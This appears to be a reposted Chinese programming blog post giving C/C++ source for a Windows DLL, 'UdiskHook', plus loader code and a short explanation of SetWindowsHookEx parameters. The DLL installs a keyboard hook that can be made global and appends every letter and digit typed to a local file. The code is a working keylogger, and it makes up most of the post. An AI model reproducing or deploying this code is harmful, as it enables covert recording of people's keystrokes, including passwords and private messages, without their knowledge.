代码
#ifndef __UdiskHook_h__ #define __UdiskHook_h__ #ifdef __cplusplus extern "C" { #endif #define DLL_EXPORT // #ifdef DLL_EXPORT #define DLLAPI __declspec(dllexport) #else #define DLLAPI __declspec(dllimport) #endif LRESULT DLLAPI CALLBACK HookProcAll(int nCode, WPARAM wParam, LPARAM lParam); LRESULT DLLAPI CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam); BOOL DLLAPI SetHookProc(); BOOL DLLAPI UnHookProc(); #ifdef __cplusplus } #endif #endif // __UdiskHook_h__
#include "UdiskHook.h" #include
#include
HHOOK hHook; int g_time = 0; HMODULE GetSelfModuleHandle() { MEMORY_BASIC_INFORMATION mbi; return ((::VirtualQuery(GetSelfModuleHandle, &mbi, sizeof(mbi)) != 0) ? (HMODULE)mbi.AllocationBase : NULL); } LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) { if (0 == g_time) { g_time = 1; hHook = SetWindowsHookEx(WH_KEYBOARD, HookProcAll, GetSelfModuleHandle(), 0); } if (wParam == ' ' && 0 != g_time)// 空格卸载 { g_time = 0; UnhookWindowsHookEx(hHook); } return CallNextHookEx(NULL, nCode, wParam, lParam); //传递钩子信息 } LRESULT CALLBACK HookProcAll(int nCode, WPARAM wParam, LPARAM lParam) { // 记录按键 if ('a' <= wParam && 'z' >= wParam || 'A' <= wParam && 'Z' >= wParam || '0' <= wParam && '9' >= wParam) { std::ofstream outFile; outFile.open("e:\\ttt.txt", std::ios::app); char ch = wParam; outFile << ch; outFile.close(); } return CallNextHookEx(NULL, nCode, wParam, lParam); } int Time1 = 0; HHOOK hHook1 = NULL; BOOL SetHookProc() { if (0 == g_time) { Time1 = 1; hHook1 = SetWindowsHookEx(WH_KEYBOARD, HookProcAll, GetSelfModuleHandle(), 0); return TRUE; } return FALSE; } BOOL UnHookProc() { if (1 == Time1) { UnhookWindowsHookEx(hHook1); return TRUE; } return FALSE; }
程序中加载钩子的代码
typedef HHOOK (_stdcall* Hook)(int ,WPARAM ,LPARAM ); HINSTANCE hDll = LoadLibrary("UdiskHook.dll");//加载动态链接库文件; if (hDll != NULL) { Hook HookProc=(Hook)GetProcAddress(hDll ,"_HookProc@12"); if (HookProc != NULL) { hHook = SetWindowsHookEx(WH_KEYBOARD , (HOOKPROC)HookProc , hDll , GetCurrentThreadId() // 为0时是全局钩子 ); } FreeLibrary(hDll);//卸载dll文件; }
HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
idHook:指示欲被安装的挂钩处理过程之类型,此参数可以是以下值之一:
lpfn:指向相应的挂钩处理过程.若参数dwThreadId为0或者指示了一个其他进程创建的线程之标识符,则参数lpfn必须指向一个动态链接中的挂钩处理过程.否则,参数lpfn可以指向一个与当前进程相关的代码中定义的挂钩处理过程.
hMod:指示了一个动态链接的句柄,该动态连接库包含了参数lpfn 所指向的挂钩处理过程.若参数dwThreadId指示的线程由当前进程创建,并且相应的挂钩处理过程定义于当前进程相关的代码中,则参数hMod必须被设置为NULL(0).
dwThreadId:指示了一个线程标识符,挂钩处理过程与线程相关.若此参数值为0,则该挂钩处理过程与所有现存的线程相关.
返回值:若此函数执行成功,则返回值就是该挂钩处理过程的句柄;若此函数执行失败,则返回值为NULL(0).若想获得更多错误信息,请调用GetLasError函数.
备注:若参数hMod为NULL,而参数dwThreadld为0或者指示了一个其他进程创建的线程标识符,则会产生错误.
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/177663.html原文链接:https://javaforall.net
